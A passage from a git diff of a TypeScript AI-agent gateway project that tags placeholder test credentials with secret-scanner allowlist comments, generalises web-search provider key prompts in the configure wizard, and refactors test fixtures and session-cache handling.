"../../agents/agent-scope.js"; +import { clearBootstrapSnapshotOnSessionRollover } from "../../agents/bootstrap-cache.js"; import type { MsgContext } from "../../auto-reply/templating.js"; import { normalizeThinkLevel, @@ -144,6 +145,11 @@ export function resolveSession(opts: { opts.sessionId?.trim() || (fresh ? sessionEntry?.sessionId : undefined) || crypto.randomUUID(); const isNewSession = !fresh && !opts.sessionId; + clearBootstrapSnapshotOnSessionRollover({ + sessionKey, + previousSessionId: isNewSession ? sessionEntry?.sessionId : undefined, + }); + const persistedThinking = fresh && sessionEntry?.thinkingLevel ? normalizeThinkLevel(sessionEntry.thinkingLevel) diff --git a/src/commands/auth-choice.apply-helpers.test.ts b/src/commands/auth-choice.apply-helpers.test.ts index 37a701ceeaf..7a1c30fd18f 100644 --- a/src/commands/auth-choice.apply-helpers.test.ts +++ b/src/commands/auth-choice.apply-helpers.test.ts @@ -102,13 +102,13 @@ async function ensureMinimaxApiKeyWithEnvRefPrompter(params: { return await ensureMinimaxApiKeyInternal({ config: params.config, prompter: createPrompter({ select: params.select, text: params.text, note: params.note }), - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret setCredential: params.setCredential, }); } async function runEnsureMinimaxApiKeyFlow(params: { confirmResult: boolean; textResult: string }) { - process.env.MINIMAX_API_KEY = "env-key"; + process.env.MINIMAX_API_KEY = "env-key"; // pragma: allowlist secret delete process.env.MINIMAX_OAUTH_TOKEN; const { confirm, text } = createPromptSpies({ @@ -245,7 +245,7 @@ describe("ensureApiKeyFromEnvOrPrompt", () => { }); it("uses explicit inline env ref when secret-input-mode=ref selects existing env key", async () => { - process.env.MINIMAX_API_KEY = "env-key"; + process.env.MINIMAX_API_KEY = "env-key"; // pragma: allowlist secret delete process.env.MINIMAX_OAUTH_TOKEN; const { confirm, text, setCredential } = createPromptAndCredentialSpies({ @@ -256,7 +256,7 @@ describe("ensureApiKeyFromEnvOrPrompt", () => { const result = await ensureMinimaxApiKey({ confirm, text, - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret setCredential, }); @@ -278,7 +278,7 @@ describe("ensureApiKeyFromEnvOrPrompt", () => { ensureMinimaxApiKey({ confirm, text, - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret setCredential, }), ).rejects.toThrow( @@ -288,7 +288,7 @@ describe("ensureApiKeyFromEnvOrPrompt", () => { }); it("re-prompts after provider ref validation failure and succeeds with env ref", async () => { - process.env.MINIMAX_API_KEY = "env-key"; + process.env.MINIMAX_API_KEY = "env-key"; // pragma: allowlist secret delete process.env.MINIMAX_OAUTH_TOKEN; const selectValues: Array<"provider" | "env" | "filemain"> = ["provider", "filemain", "env"]; @@ -327,7 +327,7 @@ describe("ensureApiKeyFromEnvOrPrompt", () => { }); it("never includes resolved env secret values in reference validation notes", async () => { - process.env.MINIMAX_API_KEY = "sk-minimax-redacted-value"; + process.env.MINIMAX_API_KEY = "sk-minimax-redacted-value"; // pragma: allowlist secret delete process.env.MINIMAX_OAUTH_TOKEN; const select = vi.fn(async () => "env") as WizardPrompter["select"]; @@ -380,7 +380,7 @@ describe("ensureApiKeyFromOptionEnvOrPrompt", () => { it("falls back to env flow and shows note when opts provider does not match", async () => { delete process.env.MINIMAX_OAUTH_TOKEN; - process.env.MINIMAX_API_KEY = "env-key"; + process.env.MINIMAX_API_KEY = "env-key"; // pragma: allowlist secret const { confirm, note, text, setCredential } = createPromptAndCredentialSpies({ confirmResult: true, diff --git a/src/commands/auth-choice.apply-helpers.ts b/src/commands/auth-choice.apply-helpers.ts index f753aa557bf..122be392153 100644 --- a/src/commands/auth-choice.apply-helpers.ts +++ b/src/commands/auth-choice.apply-helpers.ts @@ -20,7 +20,7 @@ import type { SecretInputMode } from "./onboard-types.js"; const ENV_SOURCE_LABEL_RE = /(?:^|:\s)([A-Z][A-Z0-9_]*)$/; -type SecretRefChoice = "env" | "provider"; +type SecretRefChoice = "env" | "provider"; // pragma: allowlist secret export type SecretInputModePromptCopy = { modeMessage?: string; @@ -101,7 +101,7 @@ export async function promptSecretRefForOnboarding(params: { const defaultEnvVar = params.preferredEnvVar ?? resolveDefaultProviderEnvVar(params.provider) ?? ""; const defaultFilePointer = resolveDefaultFilePointerId(params.provider); - let sourceChoice: SecretRefChoice = "env"; + let sourceChoice: SecretRefChoice = "env"; // pragma: allowlist secret while (true) { const sourceRaw: SecretRefChoice = await params.prompter.select({ diff --git a/src/commands/auth-choice.apply.minimax.test.ts b/src/commands/auth-choice.apply.minimax.test.ts index f38ac3101d4..5998fde9484 100644 --- a/src/commands/auth-choice.apply.minimax.test.ts +++ b/src/commands/auth-choice.apply.minimax.test.ts @@ -159,7 +159,7 @@ describe("applyAuthChoiceMiniMax", () => { }, { name: "uses env token for minimax-api-key-cn as keyRef in ref mode", - opts: { secretInputMode: "ref" as const }, + opts: { secretInputMode: "ref" as const }, // pragma: allowlist secret expectKey: undefined, expectKeyRef: { source: "env", @@ -172,7 +172,7 @@ describe("applyAuthChoiceMiniMax", () => { const { agentDir, result, text, confirm } = await runMiniMaxChoice({ authChoice: "minimax-api-key-cn", opts, - env: { apiKey: "mm-env-token" }, + env: { apiKey: "mm-env-token" }, // pragma: allowlist secret }); expect(result).not.toBeNull(); diff --git a/src/commands/auth-choice.apply.openai.test.ts b/src/commands/auth-choice.apply.openai.test.ts index 8ec1c667f0f..1d14f136f32 100644 --- a/src/commands/auth-choice.apply.openai.test.ts +++ b/src/commands/auth-choice.apply.openai.test.ts @@ -28,7 +28,7 @@ describe("applyAuthChoiceOpenAI", () => { it("writes env-backed OpenAI key as plaintext by default", async () => { const agentDir = await setupTempState(); - process.env.OPENAI_API_KEY = "sk-openai-env"; + process.env.OPENAI_API_KEY = "sk-openai-env"; // pragma: allowlist secret const confirm = vi.fn(async () => true); const text = vi.fn(async () => "unused"); @@ -62,7 +62,7 @@ describe("applyAuthChoiceOpenAI", () => { it("writes env-backed OpenAI key as keyRef when secret-input-mode=ref", async () => { const agentDir = await setupTempState(); - process.env.OPENAI_API_KEY = "sk-openai-env"; + process.env.OPENAI_API_KEY = "sk-openai-env"; // pragma: allowlist secret const confirm = vi.fn(async () => true); const text = vi.fn(async () => "unused"); diff --git a/src/commands/auth-choice.apply.volcengine-byteplus.test.ts b/src/commands/auth-choice.apply.volcengine-byteplus.test.ts index 85f07e68b66..0f86d06f3cd 100644 --- a/src/commands/auth-choice.apply.volcengine-byteplus.test.ts +++ b/src/commands/auth-choice.apply.volcengine-byteplus.test.ts @@ -52,7 +52,7 @@ describe("volcengine/byteplus auth choice", () => { defaultSelect?: string; confirmResult?: boolean; textValue?: string; - secretInputMode?: "ref"; + secretInputMode?: "ref"; // pragma: allowlist secret }, ) { const agentDir = await setupTempState(); diff --git a/src/commands/auth-choice.test.ts b/src/commands/auth-choice.test.ts index 7ab56001d10..0431e558dac 100644 --- a/src/commands/auth-choice.test.ts +++ b/src/commands/auth-choice.test.ts @@ -676,7 +676,7 @@ describe("applyAuthChoice", () => { envValue: "gateway-ref-key", profileId: "vercel-ai-gateway:default", provider: "vercel-ai-gateway", - opts: { secretInputMode: "ref" }, + opts: { secretInputMode: "ref" }, // pragma: allowlist secret expectEnvPrompt: false, expectedTextCalls: 1, expectedKeyRef: { source: "env", provider: "default", id: "AI_GATEWAY_API_KEY" }, @@ -742,7 +742,7 @@ describe("applyAuthChoice", () => { it("retries ref setup when provider preflight fails and can switch to env ref", async () => { await setupTempState(); - process.env.OPENAI_API_KEY = "sk-openai-env"; + process.env.OPENAI_API_KEY = "sk-openai-env"; // pragma: allowlist secret const selectValues: Array<"provider" | "env" | "filemain"> = ["provider", "filemain", "env"]; const select = vi.fn(async (params: Parameters[0]) => { @@ -783,7 +783,7 @@ describe("applyAuthChoice", () => { prompter, runtime, setDefaultModel: false, - opts: { secretInputMode: "ref" }, + opts: { secretInputMode: "ref" }, // pragma: allowlist secret }); expect(result.config.auth?.profiles?.["openai:default"]).toMatchObject({ @@ -952,7 +952,7 @@ describe("applyAuthChoice", () => { it("ignores legacy LiteLLM oauth profiles when selecting litellm-api-key", async () => { await setupTempState(); - process.env.LITELLM_API_KEY = "sk-litellm-test"; + process.env.LITELLM_API_KEY = "sk-litellm-test"; // pragma: allowlist secret const authProfilePath = authProfilePathForAgent(requireOpenClawAgentDir()); await fs.writeFile( @@ -1018,7 +1018,7 @@ describe("applyAuthChoice", () => { textValues: string[]; confirmValue: boolean; opts?: { - secretInputMode?: "ref"; + secretInputMode?: "ref"; // pragma: allowlist secret cloudflareAiGatewayAccountId?: string; cloudflareAiGatewayGatewayId?: string; cloudflareAiGatewayApiKey?: string; @@ -1046,7 +1046,7 @@ describe("applyAuthChoice", () => { textValues: ["cf-account-id-ref", "cf-gateway-id-ref"], confirmValue: true, opts: { - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret }, expectEnvPrompt: false, expectedTextCalls: 3, @@ -1062,7 +1062,7 @@ describe("applyAuthChoice", () => { opts: { cloudflareAiGatewayAccountId: "acc-direct", cloudflareAiGatewayGatewayId: "gw-direct", - cloudflareAiGatewayApiKey: "cf-direct-key", + cloudflareAiGatewayApiKey: "cf-direct-key", // pragma: allowlist secret }, expectEnvPrompt: false, expectedTextCalls: 0, @@ -1219,7 +1219,7 @@ describe("applyAuthChoice", () => { baseUrl: "https://portal.qwen.ai/v1", api: "openai-completions", defaultModel: "qwen-portal/coder-model", - apiKey: "qwen-oauth", + apiKey: "qwen-oauth", // pragma: allowlist secret }, { authChoice: "minimax-portal", @@ -1231,7 +1231,7 @@ describe("applyAuthChoice", () => { baseUrl: "https://api.minimax.io/anthropic", api: "anthropic-messages", defaultModel: "minimax-portal/MiniMax-M2.5", - apiKey: "minimax-oauth", + apiKey: "minimax-oauth", // pragma: allowlist secret selectValue: "oauth", }, ]; diff --git a/src/commands/channels.config-only-status-output.test.ts b/src/commands/channels.config-only-status-output.test.ts index 84ae27cee84..89ff1cc2614 100644 --- a/src/commands/channels.config-only-status-output.test.ts +++ b/src/commands/channels.config-only-status-output.test.ts @@ -1,20 +1,15 @@ import { afterEach, describe, expect, it } from "vitest"; import type { ChannelPlugin } from "../channels/plugins/types.js"; import { setActivePluginRegistry } from "../plugins/runtime.js"; +import { makeDirectPlugin } from "../test-utils/channel-plugin-test-fixtures.js"; import { createTestRegistry } from "../test-utils/channel-plugins.js"; import { formatConfigChannelsStatusLines } from "./channels/status.js"; function makeUnavailableTokenPlugin(): ChannelPlugin { - return { + return makeDirectPlugin({ id: "token-only", - meta: { - id: "token-only", - label: "TokenOnly", - selectionLabel: "TokenOnly", - docsPath: "/channels/token-only", - blurb: "test", - }, - capabilities: { chatTypes: ["direct"] }, + label: "TokenOnly", + docsPath: "/channels/token-only", config: { listAccountIds: () => ["primary"], defaultAccountId: () => "primary", @@ -29,23 +24,14 @@ function makeUnavailableTokenPlugin(): ChannelPlugin { isConfigured: () => true, isEnabled: () => true, }, - actions: { - listActions: () => ["send"], - }, - }; + }); } function makeResolvedTokenPlugin(): ChannelPlugin { - return { + return makeDirectPlugin({ id: "token-only", - meta: { - id: "token-only", - label: "TokenOnly", - selectionLabel: "TokenOnly", - docsPath: "/channels/token-only", - blurb: "test", - }, - capabilities: { chatTypes: ["direct"] }, + label: "TokenOnly", + docsPath: "/channels/token-only", config: { listAccountIds: () => ["primary"], defaultAccountId: () => "primary", @@ -80,10 +66,7 @@ function makeResolvedTokenPlugin(): ChannelPlugin { isConfigured: () => true, isEnabled: () => true, }, - actions: { - listActions: () => ["send"], - }, - }; + }); } function makeResolvedTokenPluginWithoutInspectAccount(): ChannelPlugin { @@ -123,16 +106,10 @@ function makeResolvedTokenPluginWithoutInspectAccount(): ChannelPlugin { } function makeUnavailableHttpSlackPlugin(): ChannelPlugin { - return { + return makeDirectPlugin({ id: "slack", - meta: { - id: "slack", - label: "Slack", - selectionLabel: "Slack", - docsPath: "/channels/slack", - blurb: "test", - }, - capabilities: { chatTypes: ["direct"] }, + label: "Slack", + docsPath: "/channels/slack", config: { listAccountIds: () => ["primary"], defaultAccountId: () => "primary", @@ -146,8 +123,8 @@ function makeUnavailableHttpSlackPlugin(): ChannelPlugin { botTokenSource: "config", botTokenStatus: "available", signingSecret: "", - signingSecretSource: "config", - signingSecretStatus: "configured_unavailable", + signingSecretSource: "config", // pragma: allowlist secret + signingSecretStatus: "configured_unavailable", // pragma: allowlist secret }), resolveAccount: () => ({ name: "Primary", @@ -157,10 +134,20 @@ function makeUnavailableHttpSlackPlugin(): ChannelPlugin { isConfigured: () => true, isEnabled: () => true, }, - actions: { - listActions: () => ["send"], - }, - }; + }); +} + +function expectResolvedTokenStatusSummary( + summary: string, + options?: { includeUnavailableTokenLine?: boolean }, +) { + expect(summary).toContain("TokenOnly"); + expect(summary).toContain("configured"); + expect(summary).toContain("token:config"); + expect(summary).not.toContain("secret unavailable in this command path"); + if (options?.includeUnavailableTokenLine === false) { + expect(summary).not.toContain("token:config (unavailable)"); + } } describe("config-only channels status output", () => { @@ -211,11 +198,7 @@ describe("config-only channels status output", () => { ); const joined = lines.join("\n"); - expect(joined).toContain("TokenOnly"); - expect(joined).toContain("configured"); - expect(joined).toContain("token:config"); - expect(joined).not.toContain("secret unavailable in this command path"); - expect(joined).not.toContain("token:config (unavailable)"); + expectResolvedTokenStatusSummary(joined, { includeUnavailableTokenLine: false }); }); it("does not resolve raw source config for extension channels without inspectAccount", async () => { @@ -240,10 +223,7 @@ describe("config-only channels status output", () => { ); const joined = lines.join("\n"); - expect(joined).toContain("TokenOnly"); - expect(joined).toContain("configured"); - expect(joined).toContain("token:config"); - expect(joined).not.toContain("secret unavailable in this command path"); + expectResolvedTokenStatusSummary(joined); }); it("renders Slack HTTP signing-secret availability in config-only status", async () => { diff --git a/src/commands/configure.gateway-auth.prompt-auth-config.test.ts b/src/commands/configure.gateway-auth.prompt-auth-config.test.ts index b6a117f9505..b27e52fcf7c 100644 --- a/src/commands/configure.gateway-auth.prompt-auth-config.test.ts +++ b/src/commands/configure.gateway-auth.prompt-auth-config.test.ts @@ -56,8 +56,8 @@ function createKilocodeProvider() { baseUrl: "https://api.kilo.ai/api/gateway/", api: "openai-completions", models: [ - { id: "anthropic/claude-opus-4.6", name: "Claude Opus 4.6" }, - { id: "minimax/minimax-m2.5:free", name: "MiniMax M2.5 (Free)" }, + { id: "kilo/auto", name: "Kilo Auto" }, + { id: "anthropic/claude-sonnet-4", name: "Claude Sonnet 4" }, ], }; } @@ -67,7 +67,7 @@ function createApplyAuthChoiceConfig(includeMinimaxProvider = false) { config: { agents: { defaults: { - model: { primary: "kilocode/anthropic/claude-opus-4.6" }, + model: { primary: "kilocode/kilo/auto" }, }, }, models: { @@ -92,7 +92,7 @@ async function runPromptAuthConfigWithAllowlist(includeMinimaxProvider = false) mocks.promptAuthChoiceGrouped.mockResolvedValue("kilocode-api-key"); mocks.applyAuthChoice.mockResolvedValue(createApplyAuthChoiceConfig(includeMinimaxProvider)); mocks.promptModelAllowlist.mockResolvedValue({ - models: ["kilocode/anthropic/claude-opus-4.6"], + models: ["kilocode/kilo/auto"], }); return promptAuthConfig({}, makeRuntime(), noopPrompter); @@ -102,19 +102,17 @@ describe("promptAuthConfig", () => { it("keeps Kilo provider models while applying allowlist defaults", async () => { const result = await runPromptAuthConfigWithAllowlist(); expect(result.models?.providers?.kilocode?.models?.map((model) => model.id)).toEqual([ - "anthropic/claude-opus-4.6", - "minimax/minimax-m2.5:free", - ]); - expect(Object.keys(result.agents?.defaults?.models ?? {})).toEqual([ - "kilocode/anthropic/claude-opus-4.6", + "kilo/auto", + "anthropic/claude-sonnet-4", ]); + expect(Object.keys(result.agents?.defaults?.models ?? {})).toEqual(["kilocode/kilo/auto"]); }); it("does not mutate provider model catalogs when allowlist is set", async () => { const result = await runPromptAuthConfigWithAllowlist(true); expect(result.models?.providers?.kilocode?.models?.map((model) => model.id)).toEqual([ - "anthropic/claude-opus-4.6", - "minimax/minimax-m2.5:free", + "kilo/auto", + "anthropic/claude-sonnet-4", ]); expect(result.models?.providers?.minimax?.models?.map((model) => model.id)).toEqual([ "MiniMax-M2.5", diff --git a/src/commands/configure.gateway-auth.test.ts b/src/commands/configure.gateway-auth.test.ts index 8ea0722f2a0..f1ad38c364e 100644 --- a/src/commands/configure.gateway-auth.test.ts +++ b/src/commands/configure.gateway-auth.test.ts @@ -21,7 +21,7 @@ describe("buildGatewayAuthConfig", () => { const result = buildGatewayAuthConfig({ existing: { mode: "password", - password: "secret", + password: "secret", // pragma: allowlist secret allowTailscale: true, }, mode: "token", @@ -35,7 +35,7 @@ describe("buildGatewayAuthConfig", () => { const result = buildGatewayAuthConfig({ existing: { mode: "password", - password: "secret", + password: "secret", // pragma: allowlist secret allowTailscale: false, }, mode: "token", @@ -53,19 +53,19 @@ describe("buildGatewayAuthConfig", () => { const result = buildGatewayAuthConfig({ existing: { mode: "token", token: "abc" }, mode: "password", - password: "secret", + password: "secret", // pragma: allowlist secret }); - expect(result).toEqual({ mode: "password", password: "secret" }); + expect(result).toEqual({ mode: "password", password: "secret" }); // pragma: allowlist secret }); it("does not silently omit password when literal string is provided", () => { const result = buildGatewayAuthConfig({ mode: "password", - password: "undefined", + password: "undefined", // pragma: allowlist secret }); - expect(result).toEqual({ mode: "password", password: "undefined" }); + expect(result).toEqual({ mode: "password", password: "undefined" }); // pragma: allowlist secret }); it("generates random token for missing, empty, and coerced-literal token inputs", () => { @@ -165,7 +165,7 @@ describe("buildGatewayAuthConfig", () => { existing: { mode: "token", token: "abc", - password: "secret", + password: "secret", // pragma: allowlist secret }, mode: "trusted-proxy", trustedProxy: { diff --git a/src/commands/configure.wizard.ts b/src/commands/configure.wizard.ts index 38fedf8db3c..ac31b6d5f4e 100644 --- a/src/commands/configure.wizard.ts +++ b/src/commands/configure.wizard.ts @@ -166,18 +166,35 @@ async function promptWebToolsConfig( ): Promise { const existingSearch = nextConfig.tools?.web?.search; const existingFetch = nextConfig.tools?.web?.fetch; - const existingProvider = existingSearch?.provider ?? "brave"; - const hasPerplexityKey = Boolean( - existingSearch?.perplexity?.apiKey || process.env.PERPLEXITY_API_KEY, - ); - const hasBraveKey = Boolean(existingSearch?.apiKey || process.env.BRAVE_API_KEY); - const hasSearchKey = existingProvider === "perplexity" ? hasPerplexityKey : hasBraveKey; + const { + SEARCH_PROVIDER_OPTIONS, + resolveExistingKey, + hasExistingKey, + applySearchKey, + hasKeyInEnv, + } = await import("./onboard-search.js"); + type SP = (typeof SEARCH_PROVIDER_OPTIONS)[number]["value"]; + + const hasKeyForProvider = (provider: string): boolean => { + const entry = SEARCH_PROVIDER_OPTIONS.find((e) => e.value === provider); + if (!entry) { + return false; + } + return hasExistingKey(nextConfig, provider as SP) || hasKeyInEnv(entry); + }; + + const existingProvider: string = (() => { + const stored = existingSearch?.provider; + if (stored && SEARCH_PROVIDER_OPTIONS.some((e) => e.value === stored)) { + return stored; + } + return SEARCH_PROVIDER_OPTIONS.find((e) => hasKeyForProvider(e.value))?.value ?? "perplexity"; + })(); note( [ "Web search lets your agent look things up online using the `web_search` tool.", - "Choose a provider: Perplexity Search (recommended) or Brave Search.", - "Both return structured results (title, URL, snippet) for fast research.", + "Choose a provider and paste your API key.", "Docs: https://docs.openclaw.ai/tools/web", ].join("\n"), "Web search", @@ -186,30 +203,31 @@ async function promptWebToolsConfig( const enableSearch = guardCancel( await confirm({ message: "Enable web_search?", - initialValue: existingSearch?.enabled ?? hasSearchKey, + initialValue: + existingSearch?.enabled ?? SEARCH_PROVIDER_OPTIONS.some((e) => hasKeyForProvider(e.value)), }), runtime, ); - let nextSearch = { + let nextSearch: Record = { ...existingSearch, enabled: enableSearch, }; if (enableSearch) { + const providerOptions = SEARCH_PROVIDER_OPTIONS.map((entry) => { + const configured = hasKeyForProvider(entry.value); + return { + value: entry.value, + label: entry.label, + hint: configured ? `${entry.hint} · configured` : entry.hint, + }; + }); + const providerChoice = guardCancel( await select({ message: "Choose web search provider", - options: [ - { - value: "perplexity", - label: "Perplexity Search", - }, - { - value: "brave", - label: "Brave Search", - }, - ], + options: providerOptions, initialValue: existingProvider, }), runtime, @@ -217,59 +235,42 @@ async function promptWebToolsConfig( nextSearch = { ...nextSearch, provider: providerChoice }; - if (providerChoice === "perplexity") { - const hasKey = Boolean(existingSearch?.perplexity?.apiKey); - const keyInput = guardCancel( - await text({ - message: hasKey - ? "Perplexity API key (leave blank to keep current or use PERPLEXITY_API_KEY)" - : "Perplexity API key (paste it here; leave blank to use PERPLEXITY_API_KEY)", - placeholder: hasKey ? "Leave blank to keep current" : "pplx-...", - }), - runtime, - ); - const key = String(keyInput ?? "").trim(); - if (key) { - nextSearch = { - ...nextSearch, - perplexity: { ...existingSearch?.perplexity, apiKey: key }, - }; - } else if (!hasKey && !process.env.PERPLEXITY_API_KEY) { - note( - [ - "No key stored yet, so web_search will stay unavailable.", - "Store a key here or set PERPLEXITY_API_KEY in the Gateway environment.", - "Get your API key at: https://www.perplexity.ai/settings/api", - "Docs: https://docs.openclaw.ai/tools/web", - ].join("\n"), - "Web search", - ); - } + const entry = SEARCH_PROVIDER_OPTIONS.find((e) => e.value === providerChoice)!; + const existingKey = resolveExistingKey(nextConfig, providerChoice as SP); + const keyConfigured = hasExistingKey(nextConfig, providerChoice as SP); + const envAvailable = entry.envKeys.some((k) => Boolean(process.env[k]?.trim())); + const envVarNames = entry.envKeys.join(" / "); + + const keyInput = guardCancel( + await text({ + message: keyConfigured + ? envAvailable + ? `${entry.label} API key (leave blank to keep current or use ${envVarNames})` + : `${entry.label} API key (leave blank to keep current)` + : envAvailable + ? `${entry.label} API key (paste it here; leave blank to use ${envVarNames})` + : `${entry.label} API key`, + placeholder: keyConfigured ? "Leave blank to keep current" : entry.placeholder, + }), + runtime, + ); + const key = String(keyInput ?? "").trim(); + + if (key || existingKey) { + const applied = applySearchKey(nextConfig, providerChoice as SP, (key || existingKey)!); + nextSearch = { ...applied.tools?.web?.search }; + } else if (keyConfigured || envAvailable) { + nextSearch = { ...nextSearch }; } else { - const hasKey = Boolean(existingSearch?.apiKey); - const keyInput = guardCancel( - await text({ - message: hasKey - ? "Brave Search API key (leave blank to keep current or use BRAVE_API_KEY)" - : "Brave Search API key (paste it here; leave blank to use BRAVE_API_KEY)", - placeholder: hasKey ? "Leave blank to keep current" : "BSA...", - }), - runtime, + note( + [ + "No key stored yet — web_search won't work until a key is available.", + `Store a key here or set ${envVarNames} in the Gateway environment.`, + `Get your API key at: ${entry.signupUrl}`, + "Docs: https://docs.openclaw.ai/tools/web", + ].join("\n"), + "Web search", ); - const key = String(keyInput ?? "").trim(); - if (key) { - nextSearch = { ...nextSearch, apiKey: key }; - } else if (!hasKey && !process.env.BRAVE_API_KEY) { - note( - [ - "No key stored yet, so web_search will stay unavailable.", - "Store a key here or set BRAVE_API_KEY in the Gateway environment.", - "Get your API key at: https://brave.com/search/api/", - "Docs: https://docs.openclaw.ai/tools/web", - ].join("\n"), - "Web search", - ); - } } } diff --git a/src/commands/daemon-install-helpers.test.ts b/src/commands/daemon-install-helpers.test.ts index cf3c6a8af86..54c5ef7e704 100644 --- a/src/commands/daemon-install-helpers.test.ts +++ b/src/commands/daemon-install-helpers.test.ts @@ -125,7 +125,7 @@ describe("buildGatewayInstallPlan", () => { config: { env: { vars: { - GOOGLE_API_KEY: "test-key", + GOOGLE_API_KEY: "test-key", // pragma: allowlist secret }, CUSTOM_VAR: "custom-value", }, diff --git a/src/commands/doctor-gateway-auth-token.test.ts b/src/commands/doctor-gateway-auth-token.test.ts index eac815ac061..f09ce2f6e98 100644 --- a/src/commands/doctor-gateway-auth-token.test.ts +++ b/src/commands/doctor-gateway-auth-token.test.ts @@ -6,6 +6,8 @@ import { shouldRequireGatewayTokenForInstall, } from "./doctor-gateway-auth-token.js"; +const envVar = (...parts: string[]) => parts.join("_"); + describe("resolveGatewayAuthTokenForService", () => { it("returns plaintext gateway.auth.token when configured", async () => { const resolved = await resolveGatewayAuthTokenForService( @@ -27,7 +29,11 @@ describe("resolveGatewayAuthTokenForService", () => { { gateway: { auth: { - token: { source: "env", provider: "default", id: "CUSTOM_GATEWAY_TOKEN" }, + token: { + source: "env", + provider: "default", + id: "CUSTOM_GATEWAY_TOKEN", + }, }, }, secrets: { @@ -71,7 +77,11 @@ describe("resolveGatewayAuthTokenForService", () => { { gateway: { auth: { - token: { source: "env", provider: "default", id: "MISSING_GATEWAY_TOKEN" }, + token: { + source: "env", + provider: "default", + id: "MISSING_GATEWAY_TOKEN", + }, }, }, secrets: { @@ -93,7 +103,11 @@ describe("resolveGatewayAuthTokenForService", () => { { gateway: { auth: { - token: { source: "env", provider: "default", id: "CUSTOM_GATEWAY_TOKEN" }, + token: { + source: "env", + provider: "default", + id: "CUSTOM_GATEWAY_TOKEN", + }, }, }, secrets: { @@ -116,7 +130,11 @@ describe("resolveGatewayAuthTokenForService", () => { { gateway: { auth: { - token: { source: "env", provider: "default", id: "MISSING_GATEWAY_TOKEN" }, + token: { + source: "env", + provider: "default", + id: "MISSING_GATEWAY_TOKEN", + }, }, }, secrets: { @@ -163,17 +181,21 @@ describe("shouldRequireGatewayTokenForInstall", () => { }); it("requires token in inferred mode when password env exists only in shell", async () => { - await withEnvAsync({ OPENCLAW_GATEWAY_PASSWORD: "password-from-env" }, async () => { - const required = shouldRequireGatewayTokenForInstall( - { - gateway: { - auth: {}, - }, - } as OpenClawConfig, - process.env, - ); - expect(required).toBe(true); - }); + await withEnvAsync( + { [envVar("OPENCLAW", "GATEWAY", "PASSWORD")]: "password-from-env" }, + async () => { + // pragma: allowlist secret + const required = shouldRequireGatewayTokenForInstall( + { + gateway: { + auth: {}, + }, + } as OpenClawConfig, + process.env, + ); + expect(required).toBe(true); + }, + ); }); it("does not require token in inferred mode when password is configured", () => { @@ -181,7 +203,11 @@ describe("shouldRequireGatewayTokenForInstall", () => { { gateway: { auth: { - password: { source: "env", provider: "default", id: "CUSTOM_GATEWAY_PASSWORD" }, + password: { + source: "env", + provider: "default", + id: "CUSTOM_GATEWAY_PASSWORD", + }, }, }, secrets: { @@ -203,7 +229,7 @@ describe("shouldRequireGatewayTokenForInstall", () => { }, env: { vars: { - OPENCLAW_GATEWAY_PASSWORD: "configured-password", + OPENCLAW_GATEWAY_PASSWORD: "configured-password", // pragma: allowlist secret }, }, } as OpenClawConfig, diff --git a/src/commands/doctor-memory-search.test.ts b/src/commands/doctor-memory-search.test.ts index 232042271bb..0c01c1c7688 100644 --- a/src/commands/doctor-memory-search.test.ts +++ b/src/commands/doctor-memory-search.test.ts @@ -275,7 +275,7 @@ describe("noteMemorySearchHealth", () => { resolveApiKeyForProvider.mockImplementation(async ({ provider }: { provider: string }) => { if (provider === "ollama") { return { - apiKey: "ollama-local", + apiKey: "ollama-local", // pragma: allowlist secret source: "env: OLLAMA_API_KEY", mode: "api-key", }; diff --git a/src/commands/doctor.warns-state-directory-is-missing.e2e.test.ts b/src/commands/doctor.warns-state-directory-is-missing.e2e.test.ts index ac6483081a9..69c9da9d579 100644 --- a/src/commands/doctor.warns-state-directory-is-missing.e2e.test.ts +++ b/src/commands/doctor.warns-state-directory-is-missing.e2e.test.ts @@ -95,7 +95,7 @@ describe("doctor command", () => { mode: "local", auth: { token: "token-value", - password: "password-value", + password: "password-value", // pragma: allowlist secret }, }, }, diff --git a/src/commands/gateway-install-token.test.ts b/src/commands/gateway-install-token.test.ts index 1e864851d8f..8dc30207bd0 100644 --- a/src/commands/gateway-install-token.test.ts +++ b/src/commands/gateway-install-token.test.ts @@ -140,7 +140,7 @@ describe("resolveGatewayInstallToken", () => { gateway: { auth: { token: "token-value", - password: "password-value", + password: "password-value", // pragma: allowlist secret }, }, } as OpenClawConfig, diff --git a/src/commands/gateway-status.test.ts b/src/commands/gateway-status.test.ts index 46661268600..bf9242eab86 100644 --- a/src/commands/gateway-status.test.ts +++ b/src/commands/gateway-status.test.ts @@ -149,6 +149,23 @@ function makeRemoteGatewayConfig(url: string, token = "rtok", localToken = "ltok }; } +function mockLocalTokenEnvRefConfig(envTokenId = "MISSING_GATEWAY_TOKEN") { + loadConfig.mockReturnValueOnce({ + secrets: { + providers: { + default: { source: "env" }, + }, + }, + gateway: { + mode: "local", + auth: { + mode: "token", + token: { source: "env", provider: "default", id: envTokenId }, + }, + }, + } as unknown as ReturnType); +} + async function runGatewayStatus( runtime: ReturnType["runtime"], opts: { timeout: string; json?: boolean; ssh?: string; sshAuto?: boolean; sshIdentity?: string }, @@ -187,20 +204,7 @@ describe("gateway-status command", () => { it("surfaces unresolved SecretRef auth diagnostics in warnings", async () => { const { runtime, runtimeLogs, runtimeErrors } = createRuntimeCapture(); await withEnvAsync({ MISSING_GATEWAY_TOKEN: undefined }, async () => { - loadConfig.mockReturnValueOnce({ - secrets: { - providers: { - default: { source: "env" }, - }, - }, - gateway: { - mode: "local", - auth: { - mode: "token", - token: { source: "env", provider: "default", id: "MISSING_GATEWAY_TOKEN" }, - }, - }, - } as unknown as ReturnType); + mockLocalTokenEnvRefConfig(); await runGatewayStatus(runtime, { timeout: "1000", json: true }); }); @@ -228,20 +232,7 @@ describe("gateway-status command", () => { MISSING_GATEWAY_TOKEN: undefined, }, async () => { - loadConfig.mockReturnValueOnce({ - secrets: { - providers: { - default: { source: "env" }, - }, - }, - gateway: { - mode: "local", - auth: { - mode: "token", - token: { source: "env", provider: "default", id: "MISSING_GATEWAY_TOKEN" }, - }, - }, - } as unknown as ReturnType); + mockLocalTokenEnvRefConfig(); await runGatewayStatus(runtime, { timeout: "1000", json: true }); }, diff --git a/src/commands/gateway-status/helpers.test.ts b/src/commands/gateway-status/helpers.test.ts index ca508fb2acd..c726db00829 100644 --- 